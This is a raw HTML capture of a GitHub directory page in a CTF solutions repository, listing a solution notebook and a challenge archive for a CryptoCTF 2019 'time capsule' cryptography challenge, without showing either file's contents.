<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>5</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>19</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/pberba/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":145188639,"originating_url":"https://github.com/pberba/ctf-solutions/tree/master/20190810-crytoctf/crypto-122-time-capsule","user_id":null}}" data-hydro-click-hmac="fc17eed20ec69c56fbc004e51e7cae06846e1ec1ed8fc65d8c76a34756c91d92"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/pberba/ctf-solutions/refs" cache-key="v0:1534676556.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGJlcmJhL2N0Zi1zb2x1dGlvbnM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/pberba/ctf-solutions/refs" cache-key="v0:1534676556.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cGJlcmJhL2N0Zi1zb2x1dGlvbnM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>20190810-crytoctf</span></span><span>/</span>crypto-122-time-capsule<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>20190810-crytoctf</span></span><span>/</span>crypto-122-time-capsule<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/pberba/ctf-solutions/tree-commit/7d8a0aa1205efb16a7df457e5ef58e686e30e34d/20190810-crytoctf/crypto-122-time-capsule" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/pberba/ctf-solutions/file-list/master/20190810-crytoctf/crypto-122-time-capsule"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>time-capsule-solution.ipynb</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>time_capsule_aa5d041f6d3bef8d9977d6bd0e2cfeab322c4a39.txz</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
